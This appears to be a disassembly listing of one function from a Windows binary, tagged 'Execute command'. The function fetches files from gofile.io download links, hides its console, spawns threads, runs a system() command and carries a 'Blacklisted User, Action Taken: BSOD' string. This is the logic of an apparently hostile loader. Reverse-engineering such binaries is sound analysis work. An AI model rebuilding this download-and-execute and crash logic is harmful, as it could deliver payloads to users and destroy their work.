Function at 0x180029a20
Capabilities:
Execute command

Disassembly:
sub rsp, 0xb98
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0xb88], rax
lea r8, str.https:__cold1.gofile.io_download_direct_26027797_f7f2_4be0_81ba_df4538818387_hosts
lea rdx, [0x1804694c8]
lea rcx, [0x1804694f0]
call fcn.180028e30
mov byte [rsp + 0x85], al
lea r8, str.https:__store8.gofile.io_download_direct_cf693cdd_c3e1_4fbf_bbde_05cf74bd53f5_Playermodel.png
lea rdx, str.C:UsersDefaultPlayermodel.png
lea rcx, [0x180469598]
call fcn.180028e30
mov byte [rsp + 0x3c], al
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
je 0x180029aa1
mov dl, reloc.WLDAP32.dll_Ordinal_200
mov rcx, qword [rsp + 0x118]
call fcn.1800299c0
nop
call fcn.180023ab0
call fcn.180024840
lea rcx, [0x18064faa0]
call fcn.1800691f0
call fcn.18003a130
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180026a90]
xor edx, edx
xor ecx, ecx
call qword [rsp + Ordinal_301]
mov qword [rsp + 0x130], rax
call fcn.18003a140
mov qword [rsp + 0x138], rax
mov rcx, qword [rsp + 0x130]
call qword [rsp + pe_nt_image_headers64]
call fcn.18003a130
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180026600]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x140]
mov qword [rsp + 0x148], rax
call fcn.18003a140
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x148]
call qword [rsp + 0x150]
call fcn.18003a130
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180026bf0]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x158]
mov qword [rsp + 0x160], rax
call fcn.18003a140
mov qword [rsp + 0x168], rax
mov rcx, qword [rsp + 0x160]
call qword [rsp + 0x168]
mov dx, 4
mov rcx, qword [0x18064fa98]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
lea rcx, [0x18064faa0]
call fcn.180065eb0
movzx eax, al
test eax, eax
je 0x180029cbb
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x178], rax
lea rdx, [rsp + 0x898]
lea rcx, [rsp + 0x3d]
call fcn.180029e20
mov rcx, rax
call fcn.18002a160
mov qword [rsp + 0x170], rax
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call fcn.180037ed0
nop
lea rcx, [0x1804695ac]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x188], rax
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x3e]
call fcn.180029ec0
mov rcx, rax
call fcn.18002a140
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x188]
call fcn.180037ed0
nop
lea rax, [rsp + 0x698]
mov qword [rsp + 0x190], rax
lea rdx, str.Blacklisted_User__Action_Taken:_BSOD
mov rcx, qword [rsp + 0x190]
call fcn.180019fc0
mov rdx, rax
lea rcx, [0x18064faa0]
call fcn.18006c1b0
nop
call fcn.180024200
nop
mov edx, Ordinal_27
lea rcx, [rsp + 0x9a8]
call fcn.180017490
lea rax, [rsp + 0xb98]
mov rdx, rax
lea rcx, [rsp + 0x9a8]
call fcn.180019480
nop
lea rax, [0x18001b4c0]
mov qword [rsp + 0x198], rax
mov eax, 4
mov rcx, qword [rsp + 0x198]
mul rcx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.1800c0158
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x358], rax
jmp 0x180029d32
jmp 0x180029d4a
jmp 0x180029d62
jmp 0x180029d7a
lea rcx, [rsp + 0x9a8]
call fcn.180019500
nop
jmp 0x180029d8c
xor eax, eax
mov rcx, qword [rsp + 0xb88]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0xb98
ret